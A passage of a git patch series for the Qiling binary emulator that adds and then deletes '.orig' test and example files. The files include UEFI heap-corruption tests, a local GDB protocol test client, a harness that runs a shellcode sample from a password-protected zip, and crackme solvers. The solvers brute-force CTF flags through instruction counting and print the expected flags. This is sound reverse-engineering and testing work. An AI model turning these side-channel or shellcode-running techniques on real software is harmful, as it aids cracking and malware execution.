are not too close to UEFI data + heap.alloc(0x1000) + + ql.os.heap = heap + + if __name__ == "__main__": + env = { + # the FaultType NVRAM variable is read by the executable to determine which + # memory corruption it should trigger. + # + # fault types are: + # 0 - POOL_OVERFLOW_MEMCPY + # 1 - POOL_UNDERFLOW_MEMCPY + # 2 - POOL_OVERFLOW_USER, + # 3 - POOL_UNDERFLOW_USER + # 4 - POOL_OOB_READ_AHEAD + # 5 - POOL_OOB_READ_BEHIND + # 6 - POOL_DOUBLE_FREE + # 7 - POOL_INVALID_FREE + 'FaultType': bytes([1]) + } + + ql = Qiling([f'{ROOTFS_UEFI}/bin/EfiPoolFault.efi'], ROOTFS_UEFI, env=env, verbose=QL_VERBOSE.DEBUG) + + enable_sanitized_heap(ql) + + ql.run() + + self.assertFalse(ql.os.heap.validate(), 'expected heap corruption') + + def test_x8664_uefi(self): + def force_notify_RegisterProtocolNotify(ql: Qiling, address: int, params): + ql.log.info(f'[force_notify] address = {address:#x}, params = {params}') + + self.ck.visited_oncall = True + + event_id = params['Event'] + + if event_id in ql.loader.events: + event = ql.loader.events[event_id] + + # let's force notify + event["Set"] = False + + utils.signal_event(ql, event_id) + utils.execute_protocol_notifications(ql, True) + + return EFI_SUCCESS + + return EFI_INVALID_PARAMETER + + def my_onenter(ql: Qiling, address: int, params): + ql.log.info(f'[my_onenter] address = {address:#x}, params = {params}') + + self.ck.visited_onenter = True + + def my_onexit(ql: Qiling, address: int, params, retval: int): + ql.log.info(f'[my_onexit] address = {address:#x}, params = {params}') + + self.ck.visited_onexit = True + + if __name__ == "__main__": + with open(f'{ROOTFS_UEFI}/rom2_nvar.pickel', 'rb') as f: + env = pickle.load(f) + + ql = Qiling([f'{ROOTFS_UEFI}/bin/TcgPlatformSetupPolicy'], ROOTFS_UEFI, env=env, verbose=QL_VERBOSE.DEBUG) + self.ck = Checklist() + + ql.os.set_api("RegisterProtocolNotify", force_notify_RegisterProtocolNotify) + ql.os.set_api("CopyMem", my_onenter, QL_INTERCEPT.ENTER) + ql.os.set_api("LocateProtocol", my_onexit, QL_INTERCEPT.EXIT) + + ql.run() + + self.assertTrue(self.ck.visited_oncall) + self.assertTrue(self.ck.visited_onenter) + self.assertTrue(self.ck.visited_onexit) + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_windows_debugger.py.orig b/tests/test_windows_debugger.py.orig new file mode 100644 index 000000000..cdb9e4cff --- /dev/null +++ b/tests/test_windows_debugger.py.orig @@ -0,0 +1,76 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys, threading, unittest, socket, time + +sys.path.append("..") +from qiling import Qiling +from qiling.const import QL_VERBOSE + +class SimpleGdbClient: + DELAY = 0.6 + + def __init__(self, host: str, port: int): + sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) + txtf = sock.makefile('w') + + sock.connect((host, port)) + + self.__sock = sock + self.__file = txtf + + def __enter__(self): + return self + + def __exit__(self, ex_type, ex_value, ex_traceback): + self.__sock.close() + + @staticmethod + def checksum(data: str) -> int: + return sum(ord(c) for c in data) & 0xff + + def send(self, msg: str): + time.sleep(SimpleGdbClient.DELAY) + + self.__file.write(f'${msg}#{SimpleGdbClient.checksum(msg):02x}') + self.__file.flush() + +class DebuggerTest(unittest.TestCase): + + def test_pe_gdbdebug(self): + ql = Qiling(["../examples/rootfs/x86_windows/bin/x86_hello.exe"], "../examples/rootfs/x86_windows/", verbose=QL_VERBOSE.DEBUG) + ql.debugger = 'gdb:127.0.0.1:9996' + + # some random command test just to make sure we covered most of the command + def gdb_test_client(): + # yield to allow ql to launch its gdbserver + time.sleep(1.337 * 2) + + with SimpleGdbClient('127.0.0.1', 9996) as client: + client.send('qSupported:multiprocess+;swbreak+;hwbreak+;qRelocInsn+;fork-events+;vfork-events+;exec-events+;vContSupported+;QThreadEvents+;no-resumed+;xmlRegisters=i386') + client.send('vMustReplyEmpty') + client.send('QStartNoAckMode') + client.send('Hgp0.0') + client.send('qXfer:auxv:read::0, 1000') + client.send('?') + client.send('qXfer:threads:read::0,fff') + client.send('qAttached:'+ str(ql.os.pid)) + client.send('qC') + client.send('g') + client.send('m200, 100') + client.send('p10') + client.send('c') + client.send('k') + + # yield to make sure ql gdbserver has enough time to receive our last command + time.sleep(1.337) + + threading.Thread(target=gdb_test_client, daemon=True).start() + + ql.run() + del ql + +if __name__ == '__main__': + unittest.main() \ No newline at end of file diff --git a/tests/test_windows_stdio.py.orig b/tests/test_windows_stdio.py.orig new file mode 100644 index 000000000..9050ec571 --- /dev/null +++ b/tests/test_windows_stdio.py.orig @@ -0,0 +1,59 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +from typing import Sequence + +sys.path.append("..") +from qiling import * +from qiling.const import QL_VERBOSE +from qiling.extensions import pipe + +def instruction_count(ql: Qiling, address: int, size: int, user_data): + user_data[0] += 1 + + +def get_count(flag: Sequence[str]): + ql = Qiling(["../examples/rootfs/x86_windows/bin/crackme.exe"], "../examples/rootfs/x86_windows", verbose=QL_VERBOSE.OFF, libcache = True) + ql.os.stdin = pipe.SimpleStringBuffer() + ql.os.stdout = pipe.SimpleStringBuffer() + + count = [0] + ql.hook_code(instruction_count, count) + + ql.os.stdin.write(bytes("".join(flag) + "\n", 'utf-8')) + ql.run() + + print(ql.os.stdout.read().decode('utf-8'), end='') + print(f' ============ count: {count[0]:d} ============ ') + + return count[0] + + +def solve(): + # BJWXB_CTF{C5307D46-E70E-4038-B6F9-8C3F698B7C53} + prefix = list("BJWXB_CTF{C5307D46-E70E-4038-B6F9-8C3F698B7C") + flag = list("\x00" * 100) + base = get_count(prefix + flag) + i = 0 + + try: + for i in range(len(flag)): + for j in "}5353535353": + flag[i] = j + data = get_count(prefix + flag) + if data > base: + base = data + print("\n\n\n>>> FLAG: " + "".join(prefix + flag) + "\n\n\n") + break + if flag[i] == "}": + break + print("SOLVED!!!") + except KeyboardInterrupt: + print("STOP: KeyboardInterrupt") + + +if __name__ == "__main__": + solve() diff --git a/tests/view_perf_results.py.orig b/tests/view_perf_results.py.orig new file mode 100644 index 000000000..2312114b9 --- /dev/null +++ b/tests/view_perf_results.py.orig @@ -0,0 +1,90 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import io, os, sys + +import pstats + +from tkinter import * +from tkinter import filedialog +from tkinter import messagebox as msgbox +from tkinter import scrolledtext + +class QLGuiPerfApp(): + def __init__(self): + self.root = Tk() + self.root.minsize(1024, 384) + self.root.title("QL Perf Results Viewer") + + self.menu = Menu(self.root) + + self.file_open = Menu(self.menu, tearoff=0) + self.file_open.add_command(label="Open", command=self.open_perf_file) + self.file_open.add_command(label="Exit", command=sys.exit) + + self.menu.add_cascade(label="File", menu=self.file_open) + self.root.config(menu=self.menu) + + self.scrollData = scrolledtext.ScrolledText(self.root, wrap=WORD) + self.scrollData.pack(fill=BOTH, expand=True) + self.scrollData.tag_configure("qiling_highlight", foreground="yellow", background="green") + self.root.mainloop() + + def open_perf_file(self): + filename = filedialog.askopenfilename(initialdir=".", title="Select a perf file" + ,filetypes=(("perf files", "*.perf"),) ) + + try: + output_stream = io.StringIO() + stats = pstats.Stats(filename, stream=output_stream) + stats.print_stats() + self.scrollData.delete(1.0, END) + self.scrollData.insert(INSERT, output_stream.getvalue()) + self.highlight_pattern("qiling_highlight", "qiling") + except Exception as e: + msgbox.showerror("Error...", "Unable to load selected file") + + def highlight_pattern(self, tag, keyword): + start = self.scrollData.index("1.0") + end = self.scrollData.index("end") + self.scrollData.mark_set("matchStart", start) + self.scrollData.mark_set("matchEnd", start) + self.scrollData.mark_set("searchLimit", end) + count = IntVar() + while True: + index = self.scrollData.search(keyword, "matchEnd", "searchLimit", count=count, regexp=False) + if index == "": break + if count.get() == 0: break + self.scrollData.mark_set("matchStart", index) + self.scrollData.mark_set("matchEnd", "%s+%sc" % (index, count.get() )) + self.scrollData.tag_add(tag, "matchStart", "matchEnd") + + +def console_print(filename): + try: + stats = pstats.Stats(filename) + stats.print_stats() + except: + print("Failed to load perf file => {}".format(filename)) + +def usage(): + print("View performance results from Qiling test runs") + print("----------------------------------------------") + print("{} --gui : Launch in gui mode".format(sys.argv[0])) + print("{} input_file.perf : Print contents of perf file".format(sys.argv[0])) + +def main(): + if len(sys.argv) == 2: + if sys.argv[1] == "--gui": + QLGuiPerfApp() + sys.exit(0) + elif os.path.isfile(sys.argv[1]): + console_print(sys.argv[1]) + sys.exit(0) + + usage() + +if __name__ == "__main__": + main() \ No newline at end of file From 368cae33eab2a1d3f6ea6c0e1e85d161ecf82ca7 Mon Sep 17 00:00:00 2001 From: xwings Date: Tue, 28 Feb 2023 17:55:04 +0800 Subject: [PATCH 016/103] remove orig fiesl --- examples/adcache_x86_windows_debug.py.orig | 19 - examples/cachedlls_x8664_windows.py.orig | 14 - examples/crackme_x86_linux.py.orig | 122 -- examples/crackme_x86_windows.py.orig | 120 -- examples/crackme_x86_windows_auto.py.orig | 71 - .../crackme_x86_windows_setcallback.py.orig | 45 - examples/crackme_x86_windows_unpatch.py.orig | 38 - examples/doogie_8086_crack.py.orig | 210 --- examples/evm/evm_Hexagon_overflow.py.orig | 52 - examples/evm/evm_debugger.py.orig | 25 - examples/evm/evm_reentrancy.py.orig | 84 -- examples/evm/evm_reentrancy_vol.py.orig | 133 -- examples/evm/evm_simple_sc.py.orig | 55 - examples/evm/fuzzing/fuzz.py.orig | 18 - examples/evm/fuzzing/underflow_test.py.orig | 47 - .../idaplugin/custom_script.py.orig | 37 - examples/extensions/r2/hello_r2.py.orig | 50 - .../report/hello_x86_windows_json.py.orig | 23 - .../dir815_mips32el_linux.py.orig | 63 - .../linux_x8664/fuzz_x8664_linux.py.orig | 76 -- .../linux_x8664/libfuzzer_x8664_linux.py.orig | 41 - examples/fuzzing/qnx_arm/fuzz_arm_qnx.py.orig | 90 -- examples/fuzzing/stm32f429/fuzz.py.orig | 56 - .../tenda_ac15/fuzz_tendaac15_httpd.py.orig | 63 - .../tenda_ac15/saver_tendaac15_httpd.py.orig | 78 -- examples/hello_8086_dos.py.orig | 14 - .../hello_arm_linux_custom_syscall.py.orig | 45 - examples/hello_arm_linux_debug.py.orig | 21 - examples/hello_arm_qnx.py.orig | 13 - examples/hello_arm_qnx_customapi.py.orig | 37 - examples/hello_arm_set_filter.py.orig | 14 - examples/hello_arm_uboot.py.orig | 74 -- examples/hello_linuxx8664_intercept.py.orig | 30 - examples/hello_mips32_linux_customapi.py.orig | 21 - examples/hello_mips32el_linux_debug.py.orig | 14 - ...hello_mips32el_linux_function_hook.py.orig | 29 - examples/hello_x8664_gdb_macos.py.orig | 15 - examples/hello_x8664_linux_customapi.py.orig | 20 - examples/hello_x8664_linux_disasm.py.orig | 74 -- examples/hello_x8664_linux_part_debug.py.orig | 67 - examples/hello_x8664_linux_part_exec.py.orig | 29 - examples/hello_x8664_macos.py.orig | 14 - .../hello_x8664_windows_customapi.py.orig | 49 - examples/hello_x86_linux_fake_urandom.py.orig | 26 - examples/mcu/gd32vf103_blink.py.orig | 29 - examples/mcu/stm32f407_gpio_hook.py.orig | 37 - examples/mcu/stm32f407_hack_lock.py.orig | 63 - examples/mcu/stm32f407_mnist_oled.py.orig | 37 - examples/mcu/stm32f411_dma_logger.py.orig | 30 - examples/mcu/stm32f411_freertos.py.orig | 26 - examples/mcu/stm32f411_gpio_hook.py.orig | 28 - examples/mcu/stm32f411_i2c_lcd.py.orig | 50 - examples/mcu/stm32f411_interact_usart.py.orig | 32 - examples/mcu/stm32f411_spi_oled12864.py.orig | 28 - examples/mem_invalid_access.py.orig | 25 - examples/multithreading_arm64_linux.py.orig | 17 - examples/multithreading_mips32_linux.py.orig | 17 - .../multithreading_mips32el_linux.py.orig | 17 - examples/multithreading_x86_windows.py.orig | 13 - examples/netgear_6220_mips32el_linux.py.orig | 75 -- examples/ntQuerySystemInfo_x86.py.orig | 13 - examples/petya_8086_crack.py.orig | 106 -- examples/regdemo_x86_windows.py.orig | 17 - examples/sality.py.orig | 215 --- examples/setexit_arm64_linux.py.orig | 17 - examples/shellcode_run.py.orig | 107 -- examples/simple_efi_x8664.py.orig | 46 - examples/tendaac1518_httpd.py.orig | 86 -- examples/uefi_sanitized_heap.py.orig | 65 - examples/uselessdisk_x86_windows.py.orig | 14 - .../wannacry_x86_windows_hookaddress.py.orig | 19 - examples/windows_trace.py.orig | 139 -- qltui.py.orig | 675 ---------- setup.py.orig | 102 -- tests/test_android.py.orig | 83 -- tests/test_blob.py.orig | 68 - tests/test_debugger.py.orig | 196 --- tests/test_dos.py.orig | 38 - tests/test_dos_exe.py.orig | 21 - tests/test_edl.py.orig | 96 -- tests/test_elf.py.orig | 1164 ----------------- tests/test_elf_ko.py.orig | 80 -- tests/test_elf_multithread.py.orig | 405 ------ tests/test_evm.py.orig | 156 --- tests/test_macho.py.orig | 23 - tests/test_macho_kext.py.orig | 108 -- tests/test_mcu.py.orig | 445 ------- tests/test_pathutils.py.orig | 180 --- tests/test_pe.py.orig | 596 --------- tests/test_pe_sys.py.orig | 274 ---- tests/test_perf.py.orig | 58 - tests/test_peshellcode.py.orig | 71 - tests/test_posix.py.orig | 16 - tests/test_qdb.py.orig | 41 - tests/test_qltool.py.orig | 58 - tests/test_qnx.py.orig | 80 -- tests/test_r2.py.orig | 36 - tests/test_riscv.py.orig | 65 - tests/test_shellcode.py.orig | 97 -- tests/test_struct.py.orig | 160 --- tests/test_tendaac15_httpd.py.orig | 93 -- tests/test_uefi.py.orig | 115 -- tests/test_windows_debugger.py.orig | 76 -- tests/test_windows_stdio.py.orig | 59 - tests/view_perf_results.py.orig | 90 -- 105 files changed, 9429 deletions(-) delete mode 100644 examples/adcache_x86_windows_debug.py.orig delete mode 100644 examples/cachedlls_x8664_windows.py.orig delete mode 100644 examples/crackme_x86_linux.py.orig delete mode 100644 examples/crackme_x86_windows.py.orig delete mode 100644 examples/crackme_x86_windows_auto.py.orig delete mode 100644 examples/crackme_x86_windows_setcallback.py.orig delete mode 100644 examples/crackme_x86_windows_unpatch.py.orig delete mode 100644 examples/doogie_8086_crack.py.orig delete mode 100644 examples/evm/evm_Hexagon_overflow.py.orig delete mode 100644 examples/evm/evm_debugger.py.orig delete mode 100644 examples/evm/evm_reentrancy.py.orig delete mode 100644 examples/evm/evm_reentrancy_vol.py.orig delete mode 100644 examples/evm/evm_simple_sc.py.orig delete mode 100644 examples/evm/fuzzing/fuzz.py.orig delete mode 100644 examples/evm/fuzzing/underflow_test.py.orig delete mode 100644 examples/extensions/idaplugin/custom_script.py.orig delete mode 100644 examples/extensions/r2/hello_r2.py.orig delete mode 100644 examples/extensions/report/hello_x86_windows_json.py.orig delete mode 100644 examples/fuzzing/dlink_dir815/dir815_mips32el_linux.py.orig delete mode 100755 examples/fuzzing/linux_x8664/fuzz_x8664_linux.py.orig delete mode 100755 examples/fuzzing/linux_x8664/libfuzzer_x8664_linux.py.orig delete mode 100755 examples/fuzzing/qnx_arm/fuzz_arm_qnx.py.orig delete mode 100644 examples/fuzzing/stm32f429/fuzz.py.orig delete mode 100644 examples/fuzzing/tenda_ac15/fuzz_tendaac15_httpd.py.orig delete mode 100644 examples/fuzzing/tenda_ac15/saver_tendaac15_httpd.py.orig delete mode 100644 examples/hello_8086_dos.py.orig delete mode 100644 examples/hello_arm_linux_custom_syscall.py.orig delete mode 100644 examples/hello_arm_linux_debug.py.orig delete mode 100644 examples/hello_arm_qnx.py.orig delete mode 100644 examples/hello_arm_qnx_customapi.py.orig delete mode 100644 examples/hello_arm_set_filter.py.orig delete mode 100644 examples/hello_arm_uboot.py.orig delete mode 100644 examples/hello_linuxx8664_intercept.py.orig delete mode 100644 examples/hello_mips32_linux_customapi.py.orig delete mode 100644 examples/hello_mips32el_linux_debug.py.orig delete mode 100644 examples/hello_mips32el_linux_function_hook.py.orig delete mode 100644 examples/hello_x8664_gdb_macos.py.orig delete mode 100644 examples/hello_x8664_linux_customapi.py.orig delete mode 100644 examples/hello_x8664_linux_disasm.py.orig delete mode 100644 examples/hello_x8664_linux_part_debug.py.orig delete mode 100644 examples/hello_x8664_linux_part_exec.py.orig delete mode 100644 examples/hello_x8664_macos.py.orig delete mode 100644 examples/hello_x8664_windows_customapi.py.orig delete mode 100644 examples/hello_x86_linux_fake_urandom.py.orig delete mode 100644 examples/mcu/gd32vf103_blink.py.orig delete mode 100644 examples/mcu/stm32f407_gpio_hook.py.orig delete mode 100644 examples/mcu/stm32f407_hack_lock.py.orig delete mode 100644 examples/mcu/stm32f407_mnist_oled.py.orig delete mode 100644 examples/mcu/stm32f411_dma_logger.py.orig delete mode 100644 examples/mcu/stm32f411_freertos.py.orig delete mode 100644 examples/mcu/stm32f411_gpio_hook.py.orig delete mode 100644 examples/mcu/stm32f411_i2c_lcd.py.orig delete mode 100644 examples/mcu/stm32f411_interact_usart.py.orig delete mode 100644 examples/mcu/stm32f411_spi_oled12864.py.orig delete mode 100644 examples/mem_invalid_access.py.orig delete mode 100644 examples/multithreading_arm64_linux.py.orig delete mode 100644 examples/multithreading_mips32_linux.py.orig delete mode 100644 examples/multithreading_mips32el_linux.py.orig delete mode 100644 examples/multithreading_x86_windows.py.orig delete mode 100644 examples/netgear_6220_mips32el_linux.py.orig delete mode 100644 examples/ntQuerySystemInfo_x86.py.orig delete mode 100644 examples/petya_8086_crack.py.orig delete mode 100644 examples/regdemo_x86_windows.py.orig delete mode 100644 examples/sality.py.orig delete mode 100644 examples/setexit_arm64_linux.py.orig delete mode 100644 examples/shellcode_run.py.orig delete mode 100644 examples/simple_efi_x8664.py.orig delete mode 100644 examples/tendaac1518_httpd.py.orig delete mode 100644 examples/uefi_sanitized_heap.py.orig delete mode 100644 examples/uselessdisk_x86_windows.py.orig delete mode 100644 examples/wannacry_x86_windows_hookaddress.py.orig delete mode 100644 examples/windows_trace.py.orig delete mode 100644 qltui.py.orig delete mode 100644 setup.py.orig delete mode 100644 tests/test_android.py.orig delete mode 100644 tests/test_blob.py.orig delete mode 100644 tests/test_debugger.py.orig delete mode 100644 tests/test_dos.py.orig delete mode 100644 tests/test_dos_exe.py.orig delete mode 100644 tests/test_edl.py.orig delete mode 100644 tests/test_elf.py.orig delete mode 100644 tests/test_elf_ko.py.orig delete mode 100644 tests/test_elf_multithread.py.orig delete mode 100644 tests/test_evm.py.orig delete mode 100644 tests/test_macho.py.orig delete mode 100644 tests/test_macho_kext.py.orig delete mode 100644 tests/test_mcu.py.orig delete mode 100644 tests/test_pathutils.py.orig delete mode 100644 tests/test_pe.py.orig delete mode 100644 tests/test_pe_sys.py.orig delete mode 100644 tests/test_perf.py.orig delete mode 100644 tests/test_peshellcode.py.orig delete mode 100644 tests/test_posix.py.orig delete mode 100644 tests/test_qdb.py.orig delete mode 100644 tests/test_qltool.py.orig delete mode 100644 tests/test_qnx.py.orig delete mode 100644 tests/test_r2.py.orig delete mode 100644 tests/test_riscv.py.orig delete mode 100644 tests/test_shellcode.py.orig delete mode 100644 tests/test_struct.py.orig delete mode 100644 tests/test_tendaac15_httpd.py.orig delete mode 100644 tests/test_uefi.py.orig delete mode 100644 tests/test_windows_debugger.py.orig delete mode 100644 tests/test_windows_stdio.py.orig delete mode 100644 tests/view_perf_results.py.orig diff --git a/examples/adcache_x86_windows_debug.py.orig b/examples/adcache_x86_windows_debug.py.orig deleted file mode 100644 index 49486aeca..000000000 --- a/examples/adcache_x86_windows_debug.py.orig +++ /dev/null @@ -1,19 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append("..") - -from zipfile import ZipFile -from qiling import Qiling -from qiling.const import QL_VERBOSE - -if __name__ == "__main__": - with ZipFile("shellcodes/win32_https_download.zip") as zip_reader: - with zip_reader.open('win32_https_download.bin', 'r', b'infected') as f: - sc = f.read() - - ql = Qiling(code=sc, archtype="x86", ostype="windows", rootfs="rootfs/x86_windows", verbose=QL_VERBOSE.DEBUG) - ql.run() diff --git a/examples/cachedlls_x8664_windows.py.orig b/examples/cachedlls_x8664_windows.py.orig deleted file mode 100644 index 6e7187f46..000000000 --- a/examples/cachedlls_x8664_windows.py.orig +++ /dev/null @@ -1,14 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append("..") - -from qiling import Qiling -from qiling.const import QL_VERBOSE - -if __name__ == "__main__": - ql = Qiling(["rootfs/x8664_windows/bin/x8664_hello.exe"], "rootfs/x8664_windows", verbose=QL_VERBOSE.DEFAULT, libcache=True) - ql.run() diff --git a/examples/crackme_x86_linux.py.orig b/examples/crackme_x86_linux.py.orig deleted file mode 100644 index 9373d133c..000000000 --- a/examples/crackme_x86_linux.py.orig +++ /dev/null @@ -1,122 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append("..") - -import string - -from qiling import Qiling -from qiling.const import QL_VERBOSE -from qiling.extensions import pipe - -ROOTFS = r"rootfs/x86_linux" - -class Solver: - def __init__(self, invalid: bytes): - # create a silent qiling instance - self.ql = Qiling([rf"{ROOTFS}/bin/crackme_linux"], ROOTFS, verbose=QL_VERBOSE.OFF) - - self.ql.os.stdin = pipe.SimpleInStream(sys.stdin.fileno()) # take over the input to the program using a fake stdin - self.ql.os.stdout = pipe.NullOutStream(sys.stdout.fileno()) # disregard program output - - # execute program until it reaches the 'main' function - self.ql.run(end=0x0804851b) - - # record replay starting and ending points. - # - # since the emulation halted upon entering 'main', its return address is there on - # the stack. we use it to limit the emulation till function returns - self.replay_starts = self.ql.arch.regs.arch_pc - self.replay_ends = self.ql.stack_read(0) - - # instead of restarting the whole program every time a new flag character is guessed, - # we will restore its state to the latest point possible, fast-forwarding a good - # amount of start-up code that is not affected by the input. - # - # here we save the state just when 'main' is about to be called so we could use it - # to jumpstart the initialization part and get to 'main' immediately - self.jumpstart = self.ql.save() or {} - - # calibrate the replay instruction count by running the code with an invalid input - # first. the instruction count returned from the calibration process will be then - # used as a baseline for consequent replays - self.best_icount = self.__run(invalid) - - def __run(self, input: bytes) -> int: - icount = [0] - - def __count_instructions(ql: Qiling, address: int, size: int): - icount[0] += 1 - - # set a hook to fire up every time an instruction is about to execute - hobj = self.ql.hook_code(__count_instructions) - - # feed stdin with input - self.ql.os.stdin.write(input + b'\n') - - # resume emulation till function returns - self.ql.run(begin=self.replay_starts, end=self.replay_ends) - - hobj.remove() - - return icount[0] - - def replay(self, input: bytes) -> bool: - """Restore state and replay with a new input. - - Returns an indication to execution progress: `True` if a progress - was made, `False` otherwise - """ - - # restore program's state back to the starting point - self.ql.restore(self.jumpstart) - - # resume emulation and count emulated instructions - curr_icount = self.__run(input) - - # the larger part of the input is correct, the more instructions are expected to be executed. this is true - # for traditional loop-based validations like strcmp or memcmp which bails as soon as a mismatch is found: - # more correct characters mean more loop iterations - thus more executed instructions. - # - # if we got a higher instruction count, it means we made a progress in the right direction - if curr_icount > self.best_icount: - self.best_icount = curr_icount - - return True - - return False - -def progress(msg: str) -> None: - print(msg, end='\r', file=sys.stderr, flush=True) - -def main(): - flag = bytearray(b'*****') - indices = (1, 4, 2, 0, 3) - - # all possible flag characters (may be reduced to uppercase and digits to save time) - charset = string.printable - - progress('Initializing...') - solver = Solver(flag) - - for i in indices: - for ch in charset: - flag[i] = ord(ch) - - progress(f'Guessing... {flag.decode()}') - - if solver.replay(flag): - break - - else: - raise RuntimeError('no match found') - - print(f'\nFlag found!') - -if __name__ == "__main__": - main() - -# expected flag: L1NUX diff --git a/examples/crackme_x86_windows.py.orig b/examples/crackme_x86_windows.py.orig deleted file mode 100644 index f20eef8c1..000000000 --- a/examples/crackme_x86_windows.py.orig +++ /dev/null @@ -1,120 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append("..") - -from qiling import Qiling -from qiling.const import QL_VERBOSE -from qiling.extensions import pipe - -ROOTFS = r"rootfs/x86_windows" - -class Solver: - def __init__(self, invalid: bytes): - # create a silent qiling instance - self.ql = Qiling([rf"{ROOTFS}/bin/crackme.exe"], ROOTFS, verbose=QL_VERBOSE.DISABLED) - - self.ql.os.stdin = pipe.SimpleInStream(sys.stdin.fileno()) # take over the input to the program using a fake stdin - self.ql.os.stdout = pipe.NullOutStream(sys.stdout.fileno()) # disregard program output - - # execute program until it reaches the part that asks for input - self.ql.run(end=0x401030) - - # record replay starting and ending points. - # - # since the emulation halted upon entering a function, its return address is there on - # the stack. we use it to limit the emulation till function returns - self.replay_starts = self.ql.arch.regs.arch_pc - self.replay_ends = self.ql.stack_read(0) - - # instead of restarting the whole program every time a new flag character is guessed, - # we will restore its state to the latest point possible, fast-forwarding a good - # amount of start-up code that is not affected by the input. - # - # here we save the state just when the read input function is about to be called so we - # could use it to jumpstart the initialization part and get to the read input immediately - self.jumpstart = self.ql.save() or {} - - # calibrate the replay instruction count by running the code with an invalid input - # first. the instruction count returned from the calibration process will be then - # used as a baseline for consequent replays - self.best_icount = self.__run(invalid) - - def __run(self, input: bytes) -> int: - icount = [0] - - def __count_instructions(ql: Qiling, address: int, size: int): - icount[0] += 1 - - # set a hook to fire up every time an instruction is about to execute - hobj = self.ql.hook_code(__count_instructions) - - # feed stdin with input - self.ql.os.stdin.write(input + b'\n') - - # resume emulation till function returns - self.ql.run(begin=self.replay_starts, end=self.replay_ends) - - hobj.remove() - - return icount[0] - - def replay(self, input: bytes) -> bool: - """Restore state and replay with a new input. - - Returns an indication to execution progress: `True` if a progress - was made, `False` otherwise - """ - - # restore program's state back to the starting point - self.ql.restore(self.jumpstart) - - # resume emulation and count emulated instructions - curr_icount = self.__run(input) - - # the larger part of the input is correct, the more instructions are expected to be executed. this is true - # for traditional loop-based validations like strcmp or memcmp which bails as soon as a mismatch is found: - # more correct characters mean more loop iterations - thus more executed instructions. - # - # if we got a higher instruction count, it means we made a progress in the right direction - if curr_icount > self.best_icount: - self.best_icount = curr_icount - - return True - - return False - -def progress(msg: str) -> None: - print(msg, end='\r', file=sys.stderr, flush=True) - -def main(): - flag = bytearray(b'BJWXB_CTF{********-****-****-****-************}') - indices = (i for i, ch in enumerate(flag) if ch == ord('*')) - - # uppercase hex digits - charset = '0123456789ABCDEF' - - progress('Initializing...') - solver = Solver(flag) - - for i in indices: - for ch in charset: - flag[i] = ord(ch) - - progress(f'Guessing... {flag.decode()}') - - if solver.replay(flag): - break - - else: - raise RuntimeError('no match found') - - print(f'\nFlag found!') - -if __name__ == "__main__": - main() - -# expected flag: BJWXB_CTF{C5307D46-E70E-4038-B6F9-8C3F698B7C53} diff --git a/examples/crackme_x86_windows_auto.py.orig b/examples/crackme_x86_windows_auto.py.orig deleted file mode 100644 index 8911199de..000000000 --- a/examples/crackme_x86_windows_auto.py.orig +++ /dev/null @@ -1,71 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append("..") - -from qiling import Qiling -from qiling.extensions import pipe -from qiling.const import QL_INTERCEPT, QL_VERBOSE -from qiling.os.windows.api import HWND, UINT, LONG - -def hook_DialogBoxParamA_onexit(ql: Qiling, address: int, params, retval: int): - # extract lpDialogFunc value - # [see arguments list at 'qiling/os/windows/dlls/user32.py' -> 'hook_DialogBoxParamA'] - lpDialogFunc = params['lpDialogFunc'] - - def call_DialogFunc(ql: Qiling): - # we would like to resume from the exact same address that used to invoke - # this hook. in order to prevent an endless loop of hook invocations, we - # remove the hook through its handle. - hh.remove() - - WM_COMMAND = 0x111 - IDS_APPNAME = 1001 - - # [steps #3 and #4] - # set up the arguments and call the address passed through the lpDialogFunc - # param. make sure it resumes back to where we were. - ql.os.fcall.call_native(lpDialogFunc, ( - (HWND, 0), - (UINT, WM_COMMAND), - (UINT, IDS_APPNAME), - (LONG, 0), - ), ql.arch.regs.arch_pc) - - # get DialogBoxParamA return address; should be the first item on the stack - retaddr = ql.arch.stack_read(0) - - # we would like to call DialogFunc as soon as DialogBoxParamA returns, so we - # hook its return address. once it returns, 'call_DialogFunc' will be invoked. - hh = ql.hook_address(call_DialogFunc, retaddr) - -def our_sandbox(path: str, rootfs: str): - ql = Qiling([path], rootfs, verbose=QL_VERBOSE.DEFAULT) - - # this crackme's logic lies within the function passed to DialogBoxParamA through - # the lpDialogFunc parameter. normally DialogBoxParamA would call the function - # passed through that parameter, but Qiling's implementation for it doesn't do - # that. - # - # to solve this crackme and force the "success" dialog to show, we will: - # 1. set up a mock stdin and feed it with the correct flag - # 1. hook DialogBoxParamA to see where its lpDialogFunc param points to - # 2. set up a valid set of arguments DialogFunc expects to see - # 3. call it and see it greets us with a "success" message - - # [step #1] - # set up a mock stdin and feed it with mocked keystrokes - ql.os.stdin = pipe.SimpleInStream(sys.stdin.fileno()) - ql.os.stdin.write(b'Ea5yR3versing\n') - - # [step #2] - # intercept DialogBoxParamA on exit - ql.os.set_api('DialogBoxParamA', hook_DialogBoxParamA_onexit, QL_INTERCEPT.EXIT) - - ql.run() - -if __name__ == "__main__": - our_sandbox(r"rootfs/x86_windows/bin/Easy_CrackMe.exe", r"rootfs/x86_windows") diff --git a/examples/crackme_x86_windows_setcallback.py.orig b/examples/crackme_x86_windows_setcallback.py.orig deleted file mode 100644 index 0200f4722..000000000 --- a/examples/crackme_x86_windows_setcallback.py.orig +++ /dev/null @@ -1,45 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append("..") - -from qiling import Qiling - -def 